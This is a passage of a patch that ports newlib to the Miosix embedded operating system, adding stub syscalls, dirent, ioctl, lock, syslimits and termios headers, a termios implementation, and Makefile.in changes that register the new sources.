++int AW kill(int a, int b) { return -1; } ++int AW _getpid_r(struct _reent* a) { return 0; } ++int AW getpid() { return 0; } ++int AW _wait_r(struct _reent *a, int *b) { return -1; } ++int AW wait(int *a) { return -1; } ++long int AW sysconf(int query) { return -1; } +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/dirent.h newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/dirent.h +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/dirent.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/dirent.h 2026-02-05 15:44:09.006380225 +0100 +@@ -0,0 +1,62 @@ ++#ifndef _SYS_DIRENT_H ++#define _SYS_DIRENT_H ++ ++#include ++#include ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++/* ++ * This file was written to be compatible with the BSD directory ++ * routines, so it looks like it. But it was written from scratch. ++ * Sean Eric Fagan, sef@Kithrup.COM. ++ * Additionally modified for Miosix by Terraneo Federico, fede.tft@miosix.org ++ */ ++ ++#define MAXNAMLEN NAME_MAX ++ ++typedef struct __DIR ++{ ++ int dd_fd; ++ long dd_loc; ++ long dd_size; ++ char *dd_buf; ++ int dd_len; ++ long dd_seek; ++ void (*dd_onclose)(struct __DIR *); ++} DIR; ++ ++struct dirent ++{ ++ unsigned long d_ino; ++ off_t d_off; ++ unsigned short d_reclen; ++ char d_type; ++ char d_name[NAME_MAX + 1]; ++}; ++ ++enum ++{ ++ DT_UNKNOWN = 0, ++ /* Equivalent to S_XXXX in sys/stat.h, but shifted to fit in a char */ ++ DT_FIFO = 0010000>>12, ++ DT_CHR = 0020000>>12, ++ DT_DIR = 0040000>>12, ++ DT_BLK = 0060000>>12, ++ DT_REG = 0100000>>12, ++ DT_LNK = 0120000>>12, ++ DT_SOCK = 0140000>>12, ++}; ++ ++#define IFTODT(mode) (((mode) & 0170000)>>12) ++#define DTTOIF(type) ((type)<<12) ++ ++#define __dirfd(dp) ((dp)->dd_fd) ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/ioctl.h newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/ioctl.h +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/ioctl.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/ioctl.h 2026-02-05 15:44:09.006380225 +0100 +@@ -0,0 +1,26 @@ ++ ++#ifndef _SYS_IOCTL_H ++#define _SYS_IOCTL_H ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++/* keep in sync with miosix/filesystem/ioctl.h */ ++enum Ioctl ++{ ++ IOCTL_SYNC=100, ++ IOCTL_TCGETATTR=101, ++ IOCTL_TCSETATTR_NOW=102, ++ IOCTL_TCSETATTR_FLUSH=103, ++ IOCTL_TCSETATTR_DRAIN=104, ++ IOCTL_FLUSH=105 ++}; ++ ++int ioctl(int fd, int cmd, void *arg); ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif /*_SYS_IOCTL_H*/ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/lock.h newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/lock.h +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/lock.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/lock.h 2026-02-27 14:00:01.587887426 +0100 +@@ -0,0 +1,54 @@ ++#ifndef __SYS_LOCK_H__ ++#define __SYS_LOCK_H__ ++ ++#include <_ansi.h> ++#include ++ ++/* ++ * NOTE: we would like to #include here, but this causes an #include ++ * loop through time.h and sys/reent.h, so we are forced to redeclare prototypes ++ * of the pthread functions we need. ++ * At least we can #include that includes _pthreadtypes.h, so the ++ * decalarations of pthread_mutex_t and pthread_mutexattr_t are available. ++ */ ++#ifdef __cplusplus ++extern "C" { ++#endif ++int pthread_mutex_init(pthread_mutex_t *, const pthread_mutexattr_t *); ++int pthread_mutex_destroy(pthread_mutex_t *); ++int pthread_mutex_lock(pthread_mutex_t *); ++int pthread_mutex_trylock(pthread_mutex_t *); ++int pthread_mutex_unlock(pthread_mutex_t *); ++#ifdef __cplusplus ++} ++#endif ++/* ++ * Finished declaring pthread stuff, now starting real content of lock.h ++ */ ++ ++typedef pthread_mutex_t _LOCK_T; ++typedef pthread_mutex_t _LOCK_RECURSIVE_T; ++ ++#define __LOCK_INIT(clazz,lock) clazz pthread_mutex_t lock = _PTHREAD_MUTEX_INITIALIZER ++#define __LOCK_INIT_RECURSIVE(clazz,lock) clazz pthread_mutex_t lock = PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP ++#define __lock_init(lock) pthread_mutex_init(&lock,NULL) ++/* Shortcut based on pthread_mutex_t internals */ ++#define __lock_init_recursive(lock) \ ++do { \ ++ (lock).owner=0; \ ++ (lock).recursiveDepth=0; \ ++ (lock).field1=0; \ ++ (lock).field2=0; \ ++ (lock).field3=0; \ ++ (lock).type=0; \ ++} while(0) ++#define __lock_close(lock) pthread_mutex_destroy(&lock) ++#define __lock_close_recursive(lock) pthread_mutex_destroy(&lock) ++#define __lock_acquire(lock) pthread_mutex_lock(&lock) ++#define __lock_acquire_recursive(lock) pthread_mutex_lock(&lock) ++#define __lock_try_acquire(lock) pthread_mutex_trylock(&lock) ++#define __lock_try_acquire_recursive(lock) pthread_mutex_trylock(&lock) ++#define __lock_release(lock) pthread_mutex_unlock(&lock) ++#define __lock_release_recursive(lock) pthread_mutex_unlock(&lock) ++ ++#endif /* __SYS_LOCK_H__ */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/syslimits.h newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/syslimits.h +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/syslimits.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/syslimits.h 2026-02-05 15:44:09.006380225 +0100 +@@ -0,0 +1,20 @@ ++ ++#ifndef _SYS_SYSLIMITS_H ++#define _SYS_SYSLIMITS_H ++ ++/* ++ * Max length of command line arguments (including environment), ++ * POSIX requires at least 4096, but for now 1024 will do. ++ */ ++#define ARG_MAX 1024 ++ ++/* ++ * Max nonblocking pipe read, ++ * POSIX requires at least 512, but for now 128 will do. ++ */ ++#define PIPE_BUF 128 ++ ++#define NAME_MAX 255 /* Max filename, not including NUL, used for dirent */ ++#define PATH_MAX 512 /* Max filesystem path, including NUL */ ++ ++#endif /* _SYS_SYSLIMITS_H */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/termios.h newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/termios.h +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/sys/termios.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/sys/termios.h 2026-02-05 15:44:09.006380225 +0100 +@@ -0,0 +1,113 @@ ++/* Adapted from sys/sysvi386/sys */ ++ ++#ifndef _SYS_TERMIOS_H ++#define _SYS_TERMIOS_H ++ ++/* c_iflag */ ++#define IGNBRK 000001 ++#define BRKINT 000002 ++#define IGNPAR 000004 ++#define INPCK 000020 ++#define ISTRIP 000040 ++#define INLCR 000100 ++#define IGNCR 000200 ++#define ICRNL 000400 ++#define IXON 002000 ++#define IXOFF 010000 ++#define IUTF8 040000 ++ ++/* c_oflag */ ++#define OPOST 000001 ++#define OCRNL 000004 ++#define ONLCR 000010 ++#define ONOCR 000020 ++#define ONLRET 000040 ++ ++/* c_cflag */ ++#define B0 0 ++#define B50 50 ++#define B75 75 ++#define B110 110 ++#define B134 134 ++#define B150 150 ++#define B200 200 ++#define B300 300 ++#define B600 600 ++#define B1200 1200 ++#define B1800 1800 ++#define B2400 2400 ++#define B4800 4800 ++#define B9600 9600 ++#define B19200 19200 ++#define B38400 38400 ++#define B57600 57600 ++#define B115200 115200 ++#define B230400 230400 ++ ++#define CSIZE (0x03<<24) ++#define CS5 (0x00<<24) ++#define CS6 (0x01<<24) ++#define CS7 (0x02<<24) ++#define CS8 (0x03<<24) ++#define CSTOPB (0x04<<24) ++#define PARENB (0x08<<24) ++#define PAODD (0x10<<24) ++#define CRTSCTS (0x20<<24) ++#define CREAD (0x40<<24) ++ ++/* c_lflag */ ++#define ISIG 0000001 ++#define ICANON 0000002 ++#define ECHO 0000010 ++#define ECHOE 0000020 ++#define ECHOK 0000040 ++#define ECHONL 0000100 ++#define NOFLSH 0000200 ++#define TOSTOP 0001000 ++ ++/* c_cc indices */ ++#define VEOF 4 /* also VMIN -- thanks, AT&T */ ++#define VEOL 5 /* also VTIME -- thanks again */ ++#define VERASE 2 ++#define VINTR 0 ++#define VKILL 3 ++#define VMIN 4 /* also VEOF */ ++#define VQUIT 1 ++#define VSUSP 10 ++#define VTIME 5 /* also VEOL */ ++#define VSTART 11 ++#define VSTOP 12 ++ ++/* tcsetattr opt */ ++#define TCSAFLUSH 0 ++#define TCSANOW 1 ++#define TCSADRAIN 2 ++ ++/* tcflush opt */ ++#define TCIFLUSH 0 ++#define TCOFLUSH 1 ++#define TCIOFLUSH 2 ++ ++#define NCCS 13 ++ ++typedef unsigned char cc_t; ++typedef unsigned int tcflag_t; ++typedef unsigned int speed_t; ++ ++struct termios ++{ ++ tcflag_t c_iflag; ++ tcflag_t c_oflag; ++ tcflag_t c_cflag; ++ tcflag_t c_lflag; ++ cc_t c_cc[NCCS]; ++}; ++ ++int tcgetattr(int fd, struct termios *t); ++int tcsetattr(int fd, int opt, const struct termios *t); ++speed_t cfgetospeed(const struct termios *t); ++int cfsetospeed(struct termios *t, speed_t speed); ++int tcdrain(int fd); ++int tcflush(int fd, int opt); ++ ++#endif /*_SYS_TERMIOS_H*/ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/termios.c newlib-4.6.0.20260123/newlib/libc/sys/miosix/termios.c +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/termios.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/termios.c 2026-02-05 15:44:09.006380225 +0100 +@@ -0,0 +1,46 @@ ++ ++#include ++#include ++#include ++ ++int tcgetattr(int fd, struct termios *t) ++{ ++ return ioctl(fd,IOCTL_TCGETATTR,(void*)t); ++} ++ ++int tcsetattr(int fd, int opt, const struct termios *t) ++{ ++ switch(opt) ++ { ++ case TCSAFLUSH: ++ return ioctl(fd,IOCTL_TCSETATTR_FLUSH,(void*)t); ++ case TCSANOW: ++ return ioctl(fd,IOCTL_TCSETATTR_NOW,(void*)t); ++ case TCSADRAIN: ++ return ioctl(fd,IOCTL_TCSETATTR_DRAIN,(void*)t); ++ default: ++ errno = EINVAL; ++ return -1; ++ } ++} ++ ++speed_t cfgetospeed(const struct termios *t) ++{ ++ return t->c_cflag & 0x00ffffff; ++} ++ ++int cfsetospeed(struct termios *t, speed_t speed) ++{ ++ t->c_cflag = (t->c_cflag & (~0x00ffffff)) | speed; ++ return 0; ++} ++ ++int tcdrain(int fd) ++{ ++ return ioctl(fd,IOCTL_SYNC,0); ++} ++ ++int tcflush(int fd, int opt) ++{ ++ return ioctl(fd,IOCTL_FLUSH,(void*)opt); ++} +diff -ruN newlib-4.6.0.20260123-old/newlib/Makefile.in newlib-4.6.0.20260123/newlib/Makefile.in +--- newlib-4.6.0.20260123-old/newlib/Makefile.in 2026-02-05 11:54:50.394864078 +0100 ++++ newlib-4.6.0.20260123/newlib/Makefile.in 2026-02-23 17:51:21.031219910 +0100 +@@ -574,42 +574,43 @@ + + @HAVE_LIBC_SYS_H8500HMS_DIR_TRUE@am__append_49 = libc/sys/h8500hms/syscalls.c libc/sys/h8500hms/misc.c + @HAVE_LIBC_SYS_M88KBUG_DIR_TRUE@am__append_50 = libc/sys/m88kbug/syscalls.c +-@HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE@am__append_51 = \ ++@HAVE_LIBC_SYS_MIOSIX_DIR_TRUE@am__append_51 = libc/sys/miosix/crt0.c libc/sys/miosix/termios.c libc/sys/miosix/stubs.c ++@HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE@am__append_52 = \ + @HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE@ libc/sys/mmixware/_exit.c libc/sys/mmixware/access.c libc/sys/mmixware/chmod.c libc/sys/mmixware/chown.c libc/sys/mmixware/close.c libc/sys/mmixware/creat.c \ + @HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE@ libc/sys/mmixware/execv.c libc/sys/mmixware/execve.c libc/sys/mmixware/fork.c libc/sys/mmixware/fstat.c libc/sys/mmixware/getpid.c libc/sys/mmixware/isatty.c \ + @HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE@ libc/sys/mmixware/kill.c libc/sys/mmixware/link.c libc/sys/mmixware/lseek.c libc/sys/mmixware/open.c libc/sys/mmixware/pipe.c libc/sys/mmixware/read.c \ + @HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE@ libc/sys/mmixware/sbrk.c libc/sys/mmixware/stat.c libc/sys/mmixware/time.c libc/sys/mmixware/unlink.c libc/sys/mmixware/utime.c libc/sys/mmixware/wait.c libc/sys/mmixware/write.c \ + @HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE@ libc/sys/mmixware/times.c libc/sys/mmixware/gettime.c libc/sys/mmixware/setjmp.S + +-@HAVE_LIBC_SYS_NETWARE_DIR_TRUE@am__append_52 = \ ++@HAVE_LIBC_SYS_NETWARE_DIR_TRUE@am__append_53 = \ + @HAVE_LIBC_SYS_NETWARE_DIR_TRUE@ libc/sys/netware/getpid.c \ + @HAVE_LIBC_SYS_NETWARE_DIR_TRUE@ libc/sys/netware/link.c + +-@HAVE_LIBC_SYS_OR1K_DIR_TRUE@am__append_53 = libc/sys/or1k/getreent.S libc/sys/or1k/mlock.c +-@HAVE_LIBC_SYS_RDOS_DIR_TRUE@am__append_54 = \ ++@HAVE_LIBC_SYS_OR1K_DIR_TRUE@am__append_54 = libc/sys/or1k/getreent.S libc/sys/or1k/mlock.c ++@HAVE_LIBC_SYS_RDOS_DIR_TRUE@am__append_55 = \ + @HAVE_LIBC_SYS_RDOS_DIR_TRUE@ libc/sys/rdos/chown.c libc/sys/rdos/close.c libc/sys/rdos/execve.c libc/sys/rdos/fork.c libc/sys/rdos/fstat.c libc/sys/rdos/getenv.c \ + @HAVE_LIBC_SYS_RDOS_DIR_TRUE@ libc/sys/rdos/getpid.c libc/sys/rdos/gettod.c libc/sys/rdos/isatty.c libc/sys/rdos/kill.c libc/sys/rdos/link.c libc/sys/rdos/lseek.c libc/sys/rdos/open.c libc/sys/rdos/rdoshelp.c \ + @HAVE_LIBC_SYS_RDOS_DIR_TRUE@ libc/sys/rdos/rdos.S libc/sys/rdos/read.c libc/sys/rdos/readlink.c libc/sys/rdos/sbrk.c libc/sys/rdos/stat.c libc/sys/rdos/symlink.c libc/sys/rdos/times.c libc/sys/rdos/unlink.c \ + @HAVE_LIBC_SYS_RDOS_DIR_TRUE@ libc/sys/rdos/wait.c libc/sys/rdos/write.c + +-@HAVE_LIBC_SYS_RTEMS_DIR_TRUE@am__append_55 = libc/sys/rtems/dummysys.c libc/sys/rtems/cpusetalloc.c libc/sys/rtems/cpusetfree.c +-@HAVE_LIBC_SYS_SH_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@am__append_56 = libc/sys/sh/syscalls.c libc/sys/sh/trap.S libc/sys/sh/creat.c libc/sys/sh/ftruncate.c libc/sys/sh/truncate.c +-@HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@am__append_57 = \ ++@HAVE_LIBC_SYS_RTEMS_DIR_TRUE@am__append_56 = libc/sys/rtems/dummysys.c libc/sys/rtems/cpusetalloc.c libc/sys/rtems/cpusetfree.c ++@HAVE_LIBC_SYS_SH_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@am__append_57 = libc/sys/sh/syscalls.c libc/sys/sh/trap.S libc/sys/sh/creat.c libc/sys/sh/ftruncate.c libc/sys/sh/truncate.c ++@HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@am__append_58 = \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/_exit.c libc/sys/sysmec/access.c libc/sys/sysmec/chmod.c libc/sys/sysmec/chown.c libc/sys/sysmec/close.c libc/sys/sysmec/creat.c libc/sys/sysmec/crt1.c \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/execv.c libc/sys/sysmec/execve.c libc/sys/sysmec/fork.c libc/sys/sysmec/fstat.c libc/sys/sysmec/getpid.c libc/sys/sysmec/isatty.c \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/kill.c libc/sys/sysmec/lseek.c libc/sys/sysmec/open.c libc/sys/sysmec/pipe.c libc/sys/sysmec/read.c \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/sbrk.c libc/sys/sysmec/stat.c libc/sys/sysmec/time.c libc/sys/sysmec/trap.S libc/sys/sysmec/unlink.c libc/sys/sysmec/utime.c libc/sys/sysmec/wait.c libc/sys/sysmec/write.c \ + @HAVE_LIBC_SYS_SYSMEC_DIR_TRUE@ libc/sys/sysmec/times.c libc/sys/sysmec/gettime.c + +-@HAVE_LIBC_SYS_SYSNEC810_DIR_TRUE@am__append_58 = libc/sys/sysnec810/io.S libc/sys/sysnec810/write.c libc/sys/sysnec810/sbrk.c libc/sys/sysnec810/misc.c +-@HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@am__append_59 = \ ++@HAVE_LIBC_SYS_SYSNEC810_DIR_TRUE@am__append_59 = libc/sys/sysnec810/io.S libc/sys/sysnec810/write.c libc/sys/sysnec810/sbrk.c libc/sys/sysnec810/misc.c ++@HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@am__append_60 = \ + @HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@ libc/sys/sysnecv850/_exit.c libc/sys/sysnecv850/access.c libc/sys/sysnecv850/chmod.c libc/sys/sysnecv850/chown.c libc/sys/sysnecv850/close.c libc/sys/sysnecv850/creat.c libc/sys/sysnecv850/crt1.c \ + @HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@ libc/sys/sysnecv850/execv.c libc/sys/sysnecv850/execve.c libc/sys/sysnecv850/fork.c libc/sys/sysnecv850/fstat.c libc/sys/sysnecv850/getpid.c libc/sys/sysnecv850/isatty.c \ + @HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@ libc/sys/sysnecv850/kill.c libc/sys/sysnecv850/lseek.c libc/sys/sysnecv850/open.c libc/sys/sysnecv850/pipe.c libc/sys/sysnecv850/read.c libc/sys/sysnecv850/link.c \ + @HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@ libc/sys/sysnecv850/sbrk.c libc/sys/sysnecv850/stat.c libc/sys/sysnecv850/time.c libc/sys/sysnecv850/trap.S libc/sys/sysnecv850/unlink.c libc/sys/sysnecv850/utime.c libc/sys/sysnecv850/wait.c libc/sys/sysnecv850/write.c \ + @HAVE_LIBC_SYS_SYSNECV850_DIR_TRUE@@MAY_SUPPLY_SYSCALLS_TRUE@ libc/sys/sysnecv850/times.c libc/sys/sysnecv850/gettime.c libc/sys/sysnecv850/rename.c + +-@HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@am__append_60 = \ ++@HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@am__append_61 = \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/ioctl.S libc/sys/sysvi386/isatty.c libc/sys/sysvi386/read.S libc/sys/sysvi386/lseek.S libc/sys/sysvi386/close.S libc/sys/sysvi386/sbrk.c libc/sys/sysvi386/fstat.S libc/sys/sysvi386/cerror.S \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/_exit.S libc/sys/sysvi386/write.S libc/sys/sysvi386/open.S libc/sys/sysvi386/signal.S libc/sys/sysvi386/kill.S libc/sys/sysvi386/getpid.S libc/sys/sysvi386/brk.S libc/sys/sysvi386/fork.S libc/sys/sysvi386/wait.S \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/execve.S libc/sys/sysvi386/exec.c libc/sys/sysvi386/utime.S libc/sys/sysvi386/fcntl.S libc/sys/sysvi386/chmod.S libc/sys/sysvi386/getuid.S libc/sys/sysvi386/getgid.S libc/sys/sysvi386/time.S \ +@@ -620,14 +621,14 @@ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/chdir.S libc/sys/sysvi386/dup2.c libc/sys/sysvi386/dup.c libc/sys/sysvi386/tcgetattr.c libc/sys/sysvi386/tcsetattr.c libc/sys/sysvi386/speed.c libc/sys/sysvi386/tcline.c \ + @HAVE_LIBC_SYS_SYSVI386_DIR_TRUE@ libc/sys/sysvi386/times.S libc/sys/sysvi386/pause.S libc/sys/sysvi386/sleep.c libc/sys/sysvi386/alarm.S libc/sys/sysvi386/access.S libc/sys/sysvi386/_longjmp.S libc/sys/sysvi386/_setjmp.S + +-@HAVE_LIBC_SYS_SYSVNECV70_DIR_TRUE@am__append_61 = \ ++@HAVE_LIBC_SYS_SYSVNECV70_DIR_TRUE@am__append_62 = \ + @HAVE_LIBC_SYS_SYSVNECV70_DIR_TRUE@ libc/sys/sysvnecv70/ioctl.S libc/sys/sysvnecv70/isatty.S libc/sys/sysvnecv70/read.S libc/sys/sysvnecv70/lseek.S libc/sys/sysvnecv70/close.S libc/sys/sysvnecv70/sbrk.S libc/sys/sysvnecv70/fstat.S \ + @HAVE_LIBC_SYS_SYSVNECV70_DIR_TRUE@ libc/sys/sysvnecv70/cerror.S libc/sys/sysvnecv70/exit.S libc/sys/sysvnecv70/write.S libc/sys/sysvnecv70/sysv60.S libc/sys/sysvnecv70/fpx.c libc/sys/sysvnecv70/fps.S libc/sys/sysvnecv70/open.S + +-@HAVE_LIBC_SYS_TIRTOS_DIR_TRUE@am__append_62 = libc/sys/tirtos/lock.c +-@HAVE_LIBC_SYS_W65_DIR_TRUE@am__append_63 = libc/sys/w65/syscalls.c libc/sys/w65/trap.c +-@HAVE_LIBC_SYS_Z8KSIM_DIR_TRUE@am__append_64 = libc/sys/z8ksim/glue.c +-@HAVE_LIBC_MACHINE_AARCH64_TRUE@am__append_65 = \ ++@HAVE_LIBC_SYS_TIRTOS_DIR_TRUE@am__append_63 = libc/sys/tirtos/lock.c ++@HAVE_LIBC_SYS_W65_DIR_TRUE@am__append_64 = libc/sys/w65/syscalls.c libc/sys/w65/trap.c ++@HAVE_LIBC_SYS_Z8KSIM_DIR_TRUE@am__append_65 = libc/sys/z8ksim/glue.c ++@HAVE_LIBC_MACHINE_AARCH64_TRUE@am__append_66 = \ + @HAVE_LIBC_MACHINE_AARCH64_TRUE@ libc/machine/aarch64/memchr-stub.c \ + @HAVE_LIBC_MACHINE_AARCH64_TRUE@ libc/machine/aarch64/memchr.S \ + @HAVE_LIBC_MACHINE_AARCH64_TRUE@ libc/machine/aarch64/memcmp-stub.c \ +@@ -661,7 +662,7 @@ + @HAVE_LIBC_MACHINE_AARCH64_TRUE@ libc/machine/aarch64/strrchr-stub.c \ + @HAVE_LIBC_MACHINE_AARCH64_TRUE@ libc/machine/aarch64/strrchr.S + +-@HAVE_LIBC_MACHINE_AMDGCN_TRUE@am__append_66 = \ ++@HAVE_LIBC_MACHINE_AMDGCN_TRUE@am__append_67 = \ + @HAVE_LIBC_MACHINE_AMDGCN_TRUE@ libc/machine/amdgcn/_exit.c \ + @HAVE_LIBC_MACHINE_AMDGCN_TRUE@ libc/machine/amdgcn/abort.c \ + @HAVE_LIBC_MACHINE_AMDGCN_TRUE@ libc/machine/amdgcn/atexit.c \ +@@ -669,7 +670,7 @@ + @HAVE_LIBC_MACHINE_AMDGCN_TRUE@ libc/machine/amdgcn/getreent.c \ + @HAVE_LIBC_MACHINE_AMDGCN_TRUE@ libc/machine/amdgcn/signal.c + +-@HAVE_LIBC_MACHINE_ARC_TRUE@am__append_67 = \ ++@HAVE_LIBC_MACHINE_ARC_TRUE@am__append_68 = \ + @HAVE_LIBC_MACHINE_ARC_TRUE@ libc/machine/arc/memcmp.S \ + @HAVE_LIBC_MACHINE_ARC_TRUE@ libc/machine/arc/memcmp-bs-norm.S \ + @HAVE_LIBC_MACHINE_ARC_TRUE@ libc/machine/arc/memcmp-stub.c \ +@@ -701,7 +702,7 @@ + @HAVE_LIBC_MACHINE_ARC_TRUE@ libc/machine/arc/strncpy-stub.c \ + @HAVE_LIBC_MACHINE_ARC_TRUE@ libc/machine/arc/strncpy-bs.S + +-@HAVE_LIBC_MACHINE_ARC64_TRUE@am__append_68 = \ ++@HAVE_LIBC_MACHINE_ARC64_TRUE@am__append_69 = \ + @HAVE_LIBC_MACHINE_ARC64_TRUE@ libc/machine/arc64/memcmp.S \ + @HAVE_LIBC_MACHINE_ARC64_TRUE@ libc/machine/arc64/memcmp-stub.c \ + @HAVE_LIBC_MACHINE_ARC64_TRUE@ libc/machine/arc64/memcpy.S \ +@@ -715,7 +716,7 @@ + @HAVE_LIBC_MACHINE_ARC64_TRUE@ libc/machine/arc64/strcmp.S \ + @HAVE_LIBC_MACHINE_ARC64_TRUE@ libc/machine/arc64/memchr.S + +-@HAVE_LIBC_MACHINE_ARM_TRUE@am__append_69 = \ ++@HAVE_LIBC_MACHINE_ARM_TRUE@am__append_70 = \ + @HAVE_LIBC_MACHINE_ARM_TRUE@ libc/machine/arm/setjmp.S libc/machine/arm/strcmp.S libc/machine/arm/strcpy.c \ + @HAVE_LIBC_MACHINE_ARM_TRUE@ libc/machine/arm/aeabi_memcpy.c libc/machine/arm/aeabi_memcpy-armv7a.S \ + @HAVE_LIBC_MACHINE_ARM_TRUE@ libc/machine/arm/aeabi_memmove.c libc/machine/arm/aeabi_memmove-soft.S \ +@@ -727,39 +728,39 @@ + @HAVE_LIBC_MACHINE_ARM_TRUE@ libc/machine/arm/strlen-stub.c \ + @HAVE_LIBC_MACHINE_ARM_TRUE@ libc/machine/arm/strlen.S + +-@HAVE_LIBC_MACHINE_BFIN_TRUE@am__append_70 = libc/machine/bfin/setjmp.S libc/machine/bfin/longjmp.S +-@HAVE_LIBC_MACHINE_CR16_TRUE@am__append_71 = libc/machine/cr16/setjmp.S libc/machine/cr16/getenv.c +-@HAVE_LIBC_MACHINE_CRIS_TRUE@am__append_72 = libc/machine/cris/setjmp.c libc/machine/cris/memcpy.c libc/machine/cris/memset.c libc/machine/cris/memmove.c libc/machine/cris/libcdtor.c ++@HAVE_LIBC_MACHINE_BFIN_TRUE@am__append_71 = libc/machine/bfin/setjmp.S libc/machine/bfin/longjmp.S ++@HAVE_LIBC_MACHINE_CR16_TRUE@am__append_72 = libc/machine/cr16/setjmp.S libc/machine/cr16/getenv.c ++@HAVE_LIBC_MACHINE_CRIS_TRUE@am__append_73 = libc/machine/cris/setjmp.c libc/machine/cris/memcpy.c libc/machine/cris/memset.c libc/machine/cris/memmove.c libc/machine/cris/libcdtor.c + + # We also make a library with just the useful + # machine-but-not-system-specific functions, usable as an add-on + # by itself together with e.g. uclibc. +-@HAVE_LIBC_MACHINE_CRIS_TRUE@am__append_73 = libc/machine/cris/libic.a +-@HAVE_LIBC_MACHINE_CRX_TRUE@am__append_74 = libc/machine/crx/setjmp.S libc/machine/crx/getenv.c +-@HAVE_LIBC_MACHINE_CSKY_TRUE@am__append_75 = libc/machine/csky/setjmp.S +-@HAVE_LIBC_MACHINE_D10V_TRUE@am__append_76 = libc/machine/d10v/setjmp.S +-@HAVE_LIBC_MACHINE_D30V_TRUE@am__append_77 = libc/machine/d30v/setjmp.S +-@HAVE_LIBC_MACHINE_EPIPHANY_TRUE@am__append_78 = libc/machine/epiphany/setjmp.S +-@HAVE_LIBC_MACHINE_FR30_TRUE@am__append_79 = libc/machine/fr30/setjmp.S +-@HAVE_LIBC_MACHINE_FRV_TRUE@am__append_80 = libc/machine/frv/setjmp.S +-@HAVE_LIBC_MACHINE_FT32_TRUE@am__append_81 = libc/machine/ft32/setjmp.S libc/machine/ft32/strlen.S libc/machine/ft32/memcpy.S libc/machine/ft32/strcmp.S libc/machine/ft32/memset.S libc/machine/ft32/strcpy.S +-@HAVE_LIBC_MACHINE_H8300_TRUE@am__append_82 = \ ++@HAVE_LIBC_MACHINE_CRIS_TRUE@am__append_74 = libc/machine/cris/libic.a ++@HAVE_LIBC_MACHINE_CRX_TRUE@am__append_75 = libc/machine/crx/setjmp.S libc/machine/crx/getenv.c ++@HAVE_LIBC_MACHINE_CSKY_TRUE@am__append_76 = libc/machine/csky/setjmp.S ++@HAVE_LIBC_MACHINE_D10V_TRUE@am__append_77 = libc/machine/d10v/setjmp.S ++@HAVE_LIBC_MACHINE_D30V_TRUE@am__append_78 = libc/machine/d30v/setjmp.S ++@HAVE_LIBC_MACHINE_EPIPHANY_TRUE@am__append_79 = libc/machine/epiphany/setjmp.S ++@HAVE_LIBC_MACHINE_FR30_TRUE@am__append_80 = libc/machine/fr30/setjmp.S 